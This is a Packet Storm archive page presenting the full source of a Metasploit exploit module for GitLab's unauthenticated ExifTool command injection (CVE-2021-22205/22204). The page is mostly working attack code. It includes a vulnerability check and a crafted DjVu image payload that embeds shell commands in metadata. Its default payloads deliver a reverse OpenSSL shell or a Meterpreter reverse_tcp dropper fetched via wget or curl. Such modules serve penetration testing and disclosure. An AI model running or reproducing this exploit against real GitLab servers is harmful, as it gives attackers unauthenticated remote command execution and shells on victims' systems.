what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GitLab Unauthenticated Remote ExifTool Command Injection

GitLab Unauthenticated Remote ExifTool Command Injection
Posted Nov 4, 2021
Authored by William Bowling, jbaines-r7 | Site metasploit.com

This Metasploit module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8. Exploitation will result in command execution as the git user.

tags | exploit, file upload
advisories | CVE-2021-22204, CVE-2021-22205
SHA-256 | 674d3772ec48b70f0ba624c93a36ffde9a6d313b18359aa19702fc270257ff56

GitLab Unauthenticated Remote ExifTool Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
'Description' => %q{
This module exploits an unauthenticated file upload and command
injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
and 13.8.8.

Exploitation will result in command execution as the git user.
},
'License' => MSF_LICENSE,
'Author' => [
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-22205' ], # GitLab
[ 'CVE', '2021-22204' ], # ExifTool
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
[ 'URL', 'https://hackerone.com/reports/1154542' ],
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
],
'DisclosureDate' => '2021-04-14',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Space' => 290,
'DisableNops' => true,
'BadChars' => '#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def upload_file(file_data, timeout = 20)
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
file_data,
'image/jpeg',
'binary',
"form-data; name=\"file\"; filename=\"#{random_filename}\""
)

random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
print_status("Uploading #{random_filename} to #{random_uri}")
send_request_cgi({
'method' => 'POST',
'uri' => random_uri,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, timeout)
end

def check
# Checks if the instance is a GitLab install by looking for the
# 'About GitLab' footer or a password redirect. If that's successful
# a bogus jpg image is uploaded to a bogus URI. The patched versions
# should never send the bad image to ExifTool, resulting in a 404.
# The unpatched versions should feed the image to the vulnerable
# ExifTool, resulting in a 422 error message.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/users/sign_in')
})

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# handle two cases. First a normal install will respond with HTTP 200.
# Second, if the root password hasn't been set yet then this will
# redirect to the password reset page.
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
return CheckCode::Safe('Not a GitLab web interface')
end

res = upload_file(rand_text_alphanumeric(6..32))
unless res
return CheckCode::Detected('The target did not respond to the upload request.')
end

case res.code
when 422
if res.body.include?('The change you requested was rejected.')
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
end
when 404
if res.body.include?('The page could not be found')
return CheckCode::Safe('The error response indicates ExifTool was not run.')
end
end

return CheckCode::Detected
end

def execute_command(cmd, _opts = {})
# printf needs all '\' to be double escaped due to ExifTool parsing
if cmd.start_with?('printf ')
cmd = cmd.gsub('\\', '\\\\\\')
end

# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
# The 'cmd' variable is sandwiched in a qx## function.
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)

res = upload_file(payload_header + cmd + payload_trailer, 5)

# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 422.
if res && res.code != 422
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end

print_good('Exploit successfully executed.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# payload is truncated by exiftool after 290 bytes. Because we need to
# expand the printf flavor by a potential factor of 2, halve the linemax.
execute_cmdstager(linemax: 144)
end
end
end
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close